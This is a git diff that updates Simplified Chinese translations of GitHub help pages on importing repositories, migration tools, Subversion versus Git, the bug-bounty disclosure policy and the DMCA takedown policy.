@@ -1,5 +1,5 @@
 ---
-title: Extending GitHub
+title: 扩展 GitHub
 redirect_from:
   - /categories/86/articles
   - /categories/automation
diff --git a/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md b/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
index a559e7393b..7f2ef1c8dc 100644
--- a/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
+++ b/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
@@ -1,6 +1,6 @@
 ---
-title: Importing a repository with GitHub Importer
-intro: 'If you have a project hosted on another version control system, you can automatically import it to GitHub using the GitHub Importer tool.'
+title: 使用 GitHub 导入工具导入仓库
+intro: 如果您有项目托管在另一个版本控制系统上，可以使用 GitHub 导入工具将其自动导入到 GitHub。
 redirect_from:
   - /articles/importing-from-other-version-control-systems-to-github
   - /articles/importing-a-repository-with-github-importer
@@ -8,37 +8,30 @@ redirect_from:
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: Use GitHub Importer
+shortTitle: 使用 GitHub 导入工具
 ---
+
 {% tip %}
 
-**Tip:** GitHub Importer is not suitable for all imports. For example, if your existing code is hosted on a private network, our tool won't be able to access it. In these cases, we recommend [importing using the command line](/articles/importing-a-git-repository-using-the-command-line) for Git repositories or an external [source code migration tool](/articles/source-code-migration-tools) for projects imported from other version control systems.
+**提示：**GitHub 导入工具不适用于所有导入。 例如，如果您现有的代码托管在私有网络上，我们的工具便无法访问。 在这些情况下，我们建议对 Git 仓库[使用命令行导入](/articles/importing-a-git-repository-using-the-command-line)，或者对导入自其他版本控制系统的项目使用[源代码迁移工具](/articles/source-code-migration-tools)。
 
 {% endtip %}
 
-If you'd like to match the commits in your repository to the authors' GitHub user accounts during the import, make sure every contributor to your repository has a GitHub account before you begin the import.
+如果在导入时要将仓库中的提交匹配到作者的 GitHub 用户帐户，请确保在开始导入之前，仓库的每个贡献者都有 GitHub 帐户。
 
 {% data reusables.repositories.repo-size-limit %}
 
-1. In the upper-right corner of any page, click {% octicon "plus" aria-label="Plus symbol" %}, and then click **Import repository**.
-![Import repository option in new repository menu](/assets/images/help/importer/import-repository.png)
-2. Under "Your old repository's clone URL", type the URL of the project you want to import.
-![Text field for URL of imported repository](/assets/images/help/importer/import-url.png)
-3. Choose your user account or an organization to own the repository, then type a name for the repository on GitHub.
-![Repository owner menu and repository name field](/assets/images/help/importer/import-repo-owner-name.png)
-4. Specify whether the new repository should be *public* or *private*. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)."
-![Public or private repository radio buttons](/assets/images/help/importer/import-public-or-private.png)
-5. Review the information you entered, then click **Begin import**.
-![Begin import button](/assets/images/help/importer/begin-import-button.png)
-6. If your old project was protected by a password, type your login information for that project, then click **Submit**.
-![Password form and Submit button for password-protected project](/assets/images/help/importer/submit-old-credentials-importer.png)
-7. If there are multiple projects hosted at your old project's clone URL, choose the project you'd like to import, then click **Submit**.
-![List of projects to import and Submit button](/assets/images/help/importer/choose-project-importer.png)
-8. If your project contains files larger than 100 MB, choose whether to import the large files using [Git Large File Storage](/articles/versioning-large-files), then click **Continue**.
-![Git Large File Storage menu and Continue button](/assets/images/help/importer/select-gitlfs-importer.png)
+1. 在任何页面的右上角，单击 {% octicon "plus" aria-label="Plus symbol" %}，然后单击 **Import repository（导入仓库）**。 ![新仓库菜单中的导入仓库选项](/assets/images/help/importer/import-repository.png)
+2. 在 "Your old repository's clone URL"（您的旧仓库的克隆 URL）下，输入要导入的项目的 URL。 ![导入的仓库 URL 对应的文本字段](/assets/images/help/importer/import-url.png)
+3. 选择拥有仓库的用户帐户或组织，然后输入 GitHub 上帐户的名称。 ![仓库所有者菜单和仓库名称字段](/assets/images/help/importer/import-repo-owner-name.png)
+4. 指定新仓库是*公共*还是*私有*。 更多信息请参阅“[设置仓库可见性](/articles/setting-repository-visibility)”。 ![公共或私有仓库单选按钮](/assets/images/help/importer/import-public-or-private.png)
+5. 检查您输入的信息，然后单击 **Begin import（开始导入）**。 ![开始导入按钮](/assets/images/help/importer/begin-import-button.png)
+6. 如果您的旧项目有密码保护，请输入该项目的登录信息，然后单击 **Submit（提交）**。 ![有密码保护项目的密码表单和提交按钮](/assets/images/help/importer/submit-old-credentials-importer.png)
+7. 如果有多个项目托管于旧项目的克隆 URL 上，请选择要导入的项目，然后单击 **Submit（提交）**。 ![要导入的项目列表和提交按钮](/assets/images/help/importer/choose-project-importer.png)
+8. 如果项目包含超过 100 MB 的大文件，请选择是否使用 [Git Large File Storage](/articles/versioning-large-files) 导入大文件，然后单击 **Continue（继续）**。 ![Git Large File Storage 菜单和继续按钮](/assets/images/help/importer/select-gitlfs-importer.png)
 
-You'll receive an email when the repository has been completely imported.
+在仓库完成导入时，您会收到一封电子邮件。
 
-## Further reading
+## 延伸阅读
 
-- "[Updating commit author attribution with GitHub Importer](/articles/updating-commit-author-attribution-with-github-importer)"
+- "[使用 GitHub 导入工具更新提交作者属性](/articles/updating-commit-author-attribution-with-github-importer)"
diff --git a/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md b/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md
index b4936814c0..121ed4f0f3 100644
--- a/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md
+++ b/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Importing source code to GitHub
-intro: 'You can import repositories to GitHub using {% ifversion fpt %}GitHub Importer, the command line,{% else %}the command line{% endif %} or external migration tools.'
+title: 将源代码导入到 GitHub
+intro: '您可以使用 {% ifversion fpt %}GitHub 导入工具、命令行、{% else %}命令行{% endif %}或外部迁移工具将仓库导入到 GitHub。'
 redirect_from:
   - /articles/importing-an-external-git-repository
   - /articles/importing-from-bitbucket
@@ -19,6 +19,6 @@ children:
   - /importing-a-git-repository-using-the-command-line
   - /adding-an-existing-project-to-github-using-the-command-line
   - /source-code-migration-tools
-shortTitle: Import code to GitHub
+shortTitle: 导入代码到 GitHub
 ---
 
diff --git a/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md b/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
index eaf2788967..f9d1b085f7 100644
--- a/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
+++ b/translations/zh-CN/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
@@ -1,6 +1,6 @@
 ---
-title: Source code migration tools
-intro: You can use external tools to move your projects to GitHub.
+title: 源代码迁移工具
+intro: 您可以使用外部工具将项目移动到 GitHub。
 redirect_from:
   - /articles/importing-from-subversion
   - /articles/source-code-migration-tools
@@ -10,48 +10,49 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Code migration tools
+shortTitle: 代码迁移工具
 ---
+
 {% ifversion fpt or ghec %}
 
-We recommend using [GitHub Importer](/articles/about-github-importer) to import projects from Subversion, Mercurial, Team Foundation Version Control (TFVC), or another Git repository. You can also use these external tools to convert your project to Git.
+我们建议使用 [GitHub 导入工具](/articles/about-github-importer)从 Subversion、Mercurial、Team Foundation Version Control (TFVC) 或其他 Git 仓库导入项目。 您还可以使用这些外部工具将项目转换为 Git。
 
 {% endif %}
 
-## Importing from Subversion
+## 从 Subversion 导入
 
-In a typical Subversion environment, multiple projects are stored in a single root repository. On GitHub, each of these projects will usually map to a separate Git repository for a user account or organization. We suggest importing each part of your Subversion repository to a separate GitHub repository if:
+在典型 Subversion 环境中，多个项目存储在一个根仓库中。 在 GitHub 上，这些项目的每一个通常都将映射到用户帐户或组织的单独 Git 仓库。 以下情况时，我们建议将 Subversion 仓库的每一部分导入到单独的 GitHub 仓库：
 
-* Collaborators need to check out or commit to that part of the project separately from the other parts
-* You want different parts to have their own access permissions
+* 协作者需要检出或提交到独立于项目其他部分的部分
+* 您想要不同的部分有其自己的访问权限
 
-We recommend these tools for converting Subversion repositories to Git:
+我们建议使用以下工具将 Subversion 仓库转换为 Git：
 
 - [`git-svn`](https://git-scm.com/docs/git-svn)
 - [svn2git](https://github.com/nirvdrum/svn2git)
 
-## Importing from Mercurial
+## 从 Mercurial 导入
 
-We recommend [hg-fast-export](https://github.com/frej/fast-export) for converting Mercurial repositories to Git.
+我们建议使用 [hg-fast-export](https://github.com/frej/fast-export) 将 Mercurial 仓库转换为 Git。
 
-## Importing from TFVC
+## 从 TFVC 导入
 
-We recommend [git-tfs](https://github.com/git-tfs/git-tfs) for moving changes between TFVC and Git.
+我们建议 [git-tfs](https://github.com/git-tfs/git-tfs) 用于在TFVC 和 Git 之间移动更改。
 
 For more information about moving from TFVC (a centralized version control system) to Git, see "[Plan your Migration to Git](https://docs.microsoft.com/devops/develop/git/centralized-to-git)" from the Microsoft docs site.
 
 {% tip %}
 
-**Tip:** After you've successfully converted your project to Git, you can [push it to {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/).
+**提示：**在成功地将项目转换为 Git 后，您可以[将其推送到 {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)。
 
 {% endtip %}
 
 {% ifversion fpt or ghec %}
 
-## Further reading
+## 延伸阅读
 
-- "[About GitHub Importer](/articles/about-github-importer)"
-- "[Importing a repository with GitHub Importer](/articles/importing-a-repository-with-github-importer)"
+- “[关于 GitHub 导入工具](/articles/about-github-importer)”
+- "[使用 GitHub 导入工具导入仓库](/articles/importing-a-repository-with-github-importer)"
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %})
 
 {% endif %}
diff --git a/translations/zh-CN/content/github/importing-your-projects-to-github/index.md b/translations/zh-CN/content/github/importing-your-projects-to-github/index.md
index b2db417ddf..903266ce71 100644
--- a/translations/zh-CN/content/github/importing-your-projects-to-github/index.md
+++ b/translations/zh-CN/content/github/importing-your-projects-to-github/index.md
@@ -1,7 +1,7 @@
 ---
-title: Importing your projects to GitHub
-intro: 'You can import your source code to {% data variables.product.product_name %} using a variety of different methods.'
-shortTitle: Importing your projects
+title: 将项目导入到 GitHub
+intro: '您可以使用多种不同方法将源代码导入到 {% data variables.product.product_name %}。'
+shortTitle: 导入项目
 redirect_from:
   - /categories/67/articles
   - /categories/importing
diff --git a/translations/zh-CN/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md b/translations/zh-CN/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
index 21d7ded6ac..5aa5b2f33c 100644
--- a/translations/zh-CN/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
+++ b/translations/zh-CN/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
@@ -1,6 +1,6 @@
 ---
-title: What are the differences between Subversion and Git?
-intro: 'Subversion (SVN) repositories are similar to Git repositories, but there are several differences when it comes to the architecture of your projects.'
+title: Subversion 和 Git 有哪些区别？
+intro: Subversion (SVN) 仓库与 Git 仓库类似，但涉及项目架构时有一些区别。
 redirect_from:
   - /articles/what-are-the-differences-between-svn-and-git
   - /articles/what-are-the-differences-between-subversion-and-git
@@ -9,11 +9,12 @@ versions:
   fpt: '*'
   ghes: '*'
   ghec: '*'
-shortTitle: Subversion & Git differences
+shortTitle: Subversion 与 Git 差异
 ---
-## Directory structure
 
-Each *reference*, or labeled snapshot of a commit, in a project is organized within specific subdirectories, such as `trunk`, `branches`, and `tags`. For example, an SVN project with two features under development might look like this:
+## 目录结构
+
+项目中的每个*引用*或标记的提交快照均在特定子目录中组织，例如 `trunk`、`branches` 和 `tags`。 例如，具有两项正在开发的功能的 SVN 项目可能类似如下：
 
       sample_project/trunk/README.md
       sample_project/trunk/lib/widget.rb
@@ -22,48 +23,48 @@ Each *reference*, or labeled snapshot of a commit, in a project is organized wit
       sample_project/branches/another_new_feature/README.md
       sample_project/branches/another_new_feature/lib/widget.rb
 
-An SVN workflow looks like this:
+SVN 工作流程可能类似如下：
 
-* The `trunk` directory represents the latest stable release of a project.
-* Active feature work is developed within subdirectories under `branches`.
-* When a feature is finished, the feature directory is merged into `trunk` and removed.
+* `trunk` 目录表示项目的最新稳定发行版。
+* 活动功能工作在 `branches` 下的子目录内进行开发。
+* 功能完成后，该功能目录将合并到 `trunk` 中并删除。
 
-Git projects are also stored within a single directory. However, Git obscures the details of its references by storing them in a special *.git* directory. For example, a Git project with two features under development might look like this:
+Git 项目也存储在一个目录中。 不过，Git 通过将其引用存储在一个特殊的 *.git* 目录中来模糊其详细信息。 例如，具有两项正在开发的功能的 Git 项目可能类似如下：
 
       sample_project/.git
       sample_project/README.md
       sample_project/lib/widget.rb
 
-A Git workflow looks like this:
+Git 工作流程可能类似如下：
 
-* A Git repository stores the full history of all of its branches and tags within the *.git* directory.
-* The latest stable release is contained within the default branch.
-* Active feature work is developed in separate branches.
-* When a feature is finished, the feature branch is merged into the default branch and deleted.
+* Git 仓库在 *.git* 目录中存储所有其分支和标记的完整历史记录。
+* 最新稳定发行版包含在默认分支中。
+* 活动功能工作在单独的分支中进行开发。
+* 功能完成后，该功能分支将合并到默认分支中并删除。
 
-Unlike SVN, with Git the directory structure remains the same, but the contents of the files change based on your branch.
+与 SVN 不同的是，使用 Git 时目录结构保持不变，但文件内容会根据您的分支而变化。
 
-## Including subprojects
+## 包括子项目
 
-A *subproject* is a project that's developed and managed somewhere outside of your main project. You typically import a subproject to add some functionality to your project without needing to maintain the code yourself. Whenever the subproject is updated, you can synchronize it with your project to ensure that everything is up-to-date.
+*子项目*是在主项目之外的某个位置开发和管理的项目。 您通常导入子项目以将一些功能添加到您的项目，而无需自行维护代码。 每当子项目更新时，您可以将其与您的项目同步，以确保所有内容都是最新的。
 
-In SVN, a subproject is called an *SVN external*. In Git, it's called a *Git submodule*. Although conceptually similar, Git submodules are not kept up-to-date automatically; you must explicitly ask for a new version to be brought into your project.
+在 SVN 中，子项目称为 *SVN 外部*。 在 Git 中，它称为 *Git 子模块*。 尽管在概念上类似，但 Git 子模块不会自动保持最新状态；您必须明确要求才能将新版本带入您的项目。
 
-For more information, see "[Git Tools Submodules](https://git-scm.com/book/en/Git-Tools-Submodules)" in the Git documentation.
+更多信息请参阅 Git 文档中的“[Git 工具子模块](https://git-scm.com/book/en/Git-Tools-Submodules)”。
 
-## Preserving history
+## 保留历史记录
 
-SVN is configured to assume that the history of a project never changes. Git allows you to modify previous commits and changes using tools like [`git rebase`](/github/getting-started-with-github/about-git-rebase).
+SVN 配置为假设项目的历史记录永不更改。 Git 允许您使用 [`git rebase`](/github/getting-started-with-github/about-git-rebase) 等工具修改以前的提交和更改。
 
 {% tip %}
 
-[GitHub supports Subversion clients](/articles/support-for-subversion-clients), which may produce some unexpected results if you're using both Git and SVN on the same project. If you've manipulated Git's commit history, those same commits will always remain within SVN's history. If you accidentally committed some sensitive data, we have [an article that will help you remove it from Git's history](/articles/removing-sensitive-data-from-a-repository).
+[GitHub 支持 Subversion 客户端](/articles/support-for-subversion-clients)，如果您在同一项目内同时使用 Git 和 SVN，可能会产生一些意外的结果。 如果您操纵了 Git 的提交历史记录，这些相同的提交在 SVN 的历史记录中将始终保留。 如果意外提交了一些敏感数据，我们有[一篇文章可帮助您将其从 Git 的历史中删除](/articles/removing-sensitive-data-from-a-repository)。
 
 {% endtip %}
 
-## Further reading
+## 延伸阅读
 
-- "[Subversion properties supported by GitHub](/articles/subversion-properties-supported-by-github)"
-- ["Branching and Merging" from the _Git SCM_ book](https://git-scm.com/book/en/Git-Branching-Basic-Branching-and-Merging)
-- "[Importing source code to GitHub](/articles/importing-source-code-to-github)"
-- "[Source code migration tools](/articles/source-code-migration-tools)"
+- “[GitHub 支持的 Subversion 属性](/articles/subversion-properties-supported-by-github)”
+- [_Git SCM_ 书籍中的“分支与合并”](https://git-scm.com/book/en/Git-Branching-Basic-Branching-and-Merging)
+- “[将源代码导入到 GitHub](/articles/importing-source-code-to-github)”
+- "[源代码迁移工具](/articles/source-code-migration-tools)"
diff --git a/translations/zh-CN/content/github/index.md b/translations/zh-CN/content/github/index.md
index 25aee3d946..1d1c06f127 100644
--- a/translations/zh-CN/content/github/index.md
+++ b/translations/zh-CN/content/github/index.md
@@ -4,7 +4,7 @@ redirect_from:
   - /articles
   - /common-issues-and-questions
   - /troubleshooting-common-issues
-intro: 'Documentation, guides, and help topics for software developers, designers, and project managers. Covers using Git, pull requests, issues, wikis, gists, and everything you need to make the most of GitHub for development.'
+intro: 适用于软件开发者、设计师和项目经理的文档、指南和帮助主题。 涵盖 Git、拉取请求、问题、wiki、gist 和充分使用 GitHub 进行开发所需的一切。
 versions:
   fpt: '*'
   ghec: '*'
@@ -21,3 +21,4 @@ children:
   - /site-policy
   - /site-policy-deprecated
 ---
+
diff --git a/translations/zh-CN/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md b/translations/zh-CN/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md
index 3bfef628dd..ab63dda7ae 100644
--- a/translations/zh-CN/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md
+++ b/translations/zh-CN/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md
@@ -11,10 +11,11 @@ topics:
   - Policy
   - Legal
 ---
-We want to keep GitHub safe for everyone. If you've discovered a security vulnerability in GitHub, we appreciate your help in disclosing it to us in a coordinated manner.
 
-## Bounty Program
+我们希望每个人都能安全地使用 GitHub。 If you've discovered a security vulnerability in GitHub, we appreciate your help in disclosing it to us in a coordinated manner.
 
-Like several other large software companies, GitHub provides a bug bounty to better engage with security researchers. The idea is simple: hackers and security researchers (like you) find and report vulnerabilities through our coordinated disclosure process. Then, to recognize the significant effort that these researchers often put forth when hunting down bugs, we reward them with some cold hard cash.
+## 赏金计划
 
-Check out the [GitHub Bug Bounty](https://bounty.github.com) site for bounty details, review our comprehensive [Legal Safe Harbor Policy](/articles/github-bug-bounty-program-legal-safe-harbor) terms as well, and happy hunting!
+为更好地吸引安全研究人员参与，GitHub 也像其他一些大型软件公司一样提供漏洞赏金。 The idea is simple: hackers and security researchers (like you) find and report vulnerabilities through our coordinated disclosure process. 然后，为了认可这些研究人员在寻找漏洞时付出的巨大努力，我们用一些真金白银奖励他们。
+
+请查看 [GitHub 漏洞赏金](https://bounty.github.com)站点了解赏金详情，并阅读我们全面的[法律安全港政策](/articles/github-bug-bounty-program-legal-safe-harbor)条款，我们期待您大展身手！
diff --git a/translations/zh-CN/content/github/site-policy/dmca-takedown-policy.md b/translations/zh-CN/content/github/site-policy/dmca-takedown-policy.md
index 05d313d7f4..824ad28edd 100644
--- a/translations/zh-CN/content/github/site-policy/dmca-takedown-policy.md
+++ b/translations/zh-CN/content/github/site-policy/dmca-takedown-policy.md
@@ -1,5 +1,5 @@
 ---
-title: DMCA Takedown Policy
+title: DMCA 删除政策
 redirect_from:
   - /dmca
   - /dmca-takedown
@@ -13,105 +13,105 @@ topics:
   - Legal
 ---
 
-Welcome to GitHub's Guide to the Digital Millennium Copyright Act, commonly known as the "DMCA." This page is not meant as a comprehensive primer to the statute. However, if you've received a DMCA takedown notice targeting content you've posted on GitHub or if you're a rights-holder looking to issue such a notice, this page will hopefully help to demystify the law a bit as well as our policies for complying with it.
+欢迎阅读 GitHub 的《千禧年数字版权法案》（通常称为 "DMCA"）指南。 本页面并非该法案的综合入门读物。 但是，如果您收到针对您在 GitHub 上所发布内容的 DMCA 删除通知，或者您是要发出此类通知的权利持有者，此页面将有助于您了解该法案以及我们遵守该法案的政策。
 
-(If you just want to submit a notice, you can skip to "[G. Submitting Notices](#g-submitting-notices).")
+（如果只想提交通知，您可以跳到“[G. 提交通告](#g-submitting-notices)。”）
 
-As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such.
+与所有法律事务一样，就您的具体问题或情况咨询专业人员始终是最好的方式。 我们强烈建议您在采取任何可能影响您权利的行动之前这样做。 本指南不是法律意见，也不应作为法律意见。
 
-## What Is the DMCA?
+## 什么是 DMCA？
 
-In order to understand the DMCA and some of the policy lines it draws, it's perhaps helpful to consider life before it was enacted.
+要了解 DMCA 及其制定的一些政策方针，考虑一下它颁布之前的现实情况，或许有助于理解。
 
-The DMCA provides a safe harbor for service providers that host user-generated content. Since even a single claim of copyright infringement can carry statutory damages of up to $150,000, the possibility of being held liable for user-generated content could be very harmful for service providers. With potential damages multiplied across millions of users, cloud-computing and user-generated content sites like YouTube, Facebook, or GitHub probably [never would have existed](https://arstechnica.com/tech-policy/2015/04/how-the-dmca-made-youtube/) without the DMCA (or at least not without passing some of that cost downstream to their users).
+DMCA 为托管用户生成内容的服务提供商提供了安全港。 仅仅一项侵犯版权的索赔就可能导致高达 150,000 美元的法定赔偿，因此，对用户生成的内容承担责任可能对服务提供商非常不利。 如果面向数以百万计的用户，这种潜在损失将不可估量，可以说，假如没有 DMCA，则 YouTube、Facebook 或 GitHub 等云计算和用户生成内容的网站可能就[不会存在](https://arstechnica.com/tech-policy/2015/04/how-the-dmca-made-youtube/)（或者至少会将部分成本转嫁给用户）。
 
-The DMCA addresses this issue by creating a [copyright liability safe harbor](https://www.copyright.gov/title17/92chap5.html#512) for internet service providers hosting allegedly infringing user-generated content. Essentially, so long as a service provider follows the DMCA's notice-and-takedown rules, it won't be liable for copyright infringement based on user-generated content. Because of this, it is important for GitHub to maintain its DMCA safe-harbor status.
+DMCA 通过为托管涉嫌侵权用户生成内容的互联网服务提供商建立[版权责任安全港](https://www.copyright.gov/title17/92chap5.html#512)，解决了这一问题。 从本质上讲，只要服务提供商遵守 DMCA 的通知和删除规则，就不会对基于用户生成内容的侵权行为承担责任。 因此，对 GitHub 而言，保持其 DMCA 安全港状态非常重要。
 
-The DMCA also prohibits the [circumvention of technical measures](https://www.copyright.gov/title17/92chap12.html) that effectively control access to works protected by copyright. 
+DMCA 还禁止[规避技术措施](https://www.copyright.gov/title17/92chap12.html)，以有效控制访问受版权保护的作品。
 
-## DMCA Notices In a Nutshell
+## DMCA 通知概述
 
-The DMCA provides two simple, straightforward procedures that all GitHub users should know about: (i) a [takedown-notice](/articles/guide-to-submitting-a-dmca-takedown-notice) procedure for copyright holders to request that content be removed; and (ii) a [counter-notice](/articles/guide-to-submitting-a-dmca-counter-notice) procedure for users to get content re-enabled when content is taken down by mistake or misidentification.
+DMCA 规定了两个简单直接的程序，所有 GitHub 用户都应了解：(i) 版权持有者要求删除内容的[删除通知](/articles/guide-to-submitting-a-dmca-takedown-notice)程序；(ii) 内容被误删时用户要求恢复内容的[反通知](/articles/guide-to-submitting-a-dmca-counter-notice)程序。
 
-DMCA [takedown notices](/articles/guide-to-submitting-a-dmca-takedown-notice) are used by copyright owners to ask GitHub to take down content they believe to be infringing. If you are a software designer or developer, you create copyrighted content every day. If someone else is using your copyrighted content in an unauthorized manner on GitHub, you can send us a DMCA takedown notice to request that the infringing content be changed or removed.
+DMCA [删除通知](/articles/guide-to-submitting-a-dmca-takedown-notice)供版权所有者用于要求 GitHub 删除他们认为侵权的内容。 如果您是软件设计师或开发者，可能每天都会创建版权内容。 如果其他人以未经授权的方式在 GitHub 上使用您的版权内容，您可以向我们发送 DMCA 删除通知，要求更改或删除侵权内容。
 
-On the other hand, [counter notices](/articles/guide-to-submitting-a-dmca-counter-notice) can be used to correct mistakes. Maybe the person sending the takedown notice does not hold the copyright or did not realize that you have a license or made some other mistake in their takedown notice. Since GitHub usually cannot know if there has been a mistake, the DMCA counter notice allows you to let us know and ask that we put the content back up.
+另一方面，[反通知](/articles/guide-to-submitting-a-dmca-counter-notice)可用于纠正错误。 发送删除通知的人可能没有版权，或者没有意识到您拥有许可，或者在删除通知中犯了其他错误。 由于 GitHub 往往不知道通知是否有误，因此您可以通过 DMCA 反通知告诉我们并要求我们恢复内容。
 
-The DMCA notice and takedown process should be used only for complaints about copyright infringement. Notices sent through our DMCA process must identify copyrighted work or works that are allegedly being infringed. The process cannot be used for other complaints, such as complaints about alleged [trademark infringement](/articles/github-trademark-policy/) or [sensitive data](/articles/github-sensitive-data-removal-policy/); we offer separate processes for those situations.
+DMCA 通知和删除流程仅适用于有关侵犯版权的投诉。 通过我们 DMCA 流程发送的通知必须指明涉嫌侵权的版权作品。 此流程不能用于其他投诉，如有关涉嫌[商标侵权](/articles/github-trademark-policy/)或[敏感数据](/articles/github-sensitive-data-removal-policy/)的投诉；我们为这些情况另外提供了不同的流程。
 
-## A. How Does This Actually Work?
+## A. 此流程实际上是如何运作的？
 
-The DMCA framework is a bit like passing notes in class. The copyright owner hands GitHub a complaint about a user. If it's written correctly, we pass the complaint along to the user. If the user disputes the complaint, they can pass a note back saying so. GitHub exercises little discretion in the process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury.
+DMCA 框架有点像课堂上传纸条。 版权所有者向 GitHub 提交对某个用户的投诉。 如果书写正确，我们会将该投诉转达给用户。 如果用户对投诉有异议，他们可以回传“纸条”表达异议。 除了确定通知是否符合 DMCA 的最低要求外，GitHub 在此过程中几乎不行使酌处权。 当事方（及其律师）应负责评估其投诉的合理性，并注意，此类通知受伪证处罚条款约束。
 
-Here are the basic steps in the process.
+以下是此流程的基本步骤。
 
-1. **Copyright Owner Investigates.** A copyright owner should always conduct an initial investigation to confirm both (a) that they own the copyright to an original work and (b) that the content on GitHub is unauthorized and infringing. This includes confirming that the use is not protected as [fair use](https://www.lumendatabase.org/topics/22). A particular use may be fair if it only uses a small amount of copyrighted content, uses that content in a transformative way, uses it for educational purposes, or some combination of the above. Because code naturally lends itself to such uses, each use case is different and must be considered separately.
-> **Example:** An employee of Acme Web Company finds some of the company's code in a GitHub repository. Acme Web Company licenses its source code out to several trusted partners. Before sending in a take-down notice, Acme should review those licenses and its agreements to confirm that the code on GitHub is not authorized under any of them.
+1. **版权所有者调查。**版权所有者务必进行初步调查，以确认 (a) 他们拥有原始作品的版权，以及 (b) GitHub 上的内容未经授权且侵权。 这包括确认该使用不符合[合理使用](https://www.lumendatabase.org/topics/22)的条件。 如果特定使用符合以下条件，可能属于合理使用：只使用少量版权内容、以变换方式使用内容、用于教育目的或以上条件的某些组合。 由于代码本身适合于这些用途，但每个用例都有所不同，因此必须单独考虑。
+> **示例：**Acme Web Company 的一名员工在某个 GitHub 仓库中发现其公司的一些代码。 Acme Web Company 已将其源代码许可给几个受信任的合作伙伴。 在发出删除通知之前，Acme 应认真查看这些许可及其协议，以确认 GitHub 上的代码未在这些授权之列。
 
-2. **Copyright Owner Sends A Notice.** After conducting an investigation, a copyright owner prepares and sends a [takedown notice](/articles/guide-to-submitting-a-dmca-takedown-notice) to GitHub. Assuming the takedown notice is sufficiently detailed according to the statutory requirements (as explained in the [how-to guide](/articles/guide-to-submitting-a-dmca-takedown-notice)), we will [post the notice](#d-transparency) to our [public repository](https://github.com/github/dmca) and pass the link along to the affected user.
+2. **版权所有者发送通知。**进行调查后，版权所有者编写[删除通知](/articles/guide-to-submitting-a-dmca-takedown-notice)并将其发送到 GitHub。 如果根据法律要求，该删除通知足够详细（如[操作指南](/articles/guide-to-submitting-a-dmca-takedown-notice)中所述），我们会[将该通知发布](#d-transparency)到我们的[公共仓库](https://github.com/github/dmca)中，并将链接传送给受影响的用户。
 
-3. **GitHub Asks User to Make Changes.** If the notice alleges that the entire contents of a repository infringe, or a package infringes, we will skip to Step 6 and disable the entire repository or package expeditiously. Otherwise, because GitHub cannot disable access to specific files within a repository, we will contact the user who created the repository and give them approximately 1 business day to delete or modify the content specified in the notice. We'll notify the copyright owner if and when we give the user a chance to make changes. Because packages are immutable, if only part of a package is infringing, GitHub would need to disable the entire package, but we permit reinstatement once the infringing portion is removed. 
+3. **GitHub 要求用户进行更改。**如果通知指出仓库或包的整个内容都侵权，我们将跳到步骤 6 并迅速禁用整个仓库或包。 否则，由于 GitHub 无法禁止访问仓库中的特定文件，我们将联系创建该仓库的用户，给他们 1 个工作日左右的时间来删除或修改通知中指定的内容。 如果我们给用户进行更改的机会，我们会通知版权所有者。 由于包是不可变的，如果只有包的一部分侵权，GitHub 将需要禁用整个包，但我们允许在删除侵权部分后恢复。
 
-4. **User Notifies GitHub of Changes.** If the user chooses to make the specified changes, they *must* tell us so within the window of approximately 1 business day. If they don't, we will disable the repository (as described in Step 6). If the user notifies us that they made changes, we will verify that the changes have been made and then notify the copyright owner.
+4. **用户向 GitHub 通知更改。**如果用户选择进行指定的更改，则*必须*在大约 1 个工作日内告知我们。 如果没有，我们将禁用仓库（如步骤 6 所述）。 如果用户通知我们已进行更改，我们将进行核实然后通知版权所有者。
 
-5. **Copyright Owner Revises or Retracts the Notice.** If the user makes changes, the copyright owner must review them and renew or revise their takedown notice if the changes are insufficient. GitHub will not take any further action unless the copyright owner contacts us to either renew the original takedown notice or submit a revised one. If the copyright owner is satisfied with the changes, they may either submit a formal retraction or else do nothing. GitHub will interpret silence longer than two weeks as an implied retraction of the takedown notice.
+5. **版权所有者修改或撤回通知。**用户进行更改后，版权所有者必须进行审查，如果认为更改不充分，他们可以重申或修改其删除通知。 除非版权所有者联系我们以重申原删除通知或提交修改的通知，否则 GitHub 不会采取任何进一步行动。 如果版权所有者对更改感到满意，他们可以提交正式的撤回声明，或者什么都不做。 静默期超过两周，GitHub 将解释为默示撤回删除通知。
 
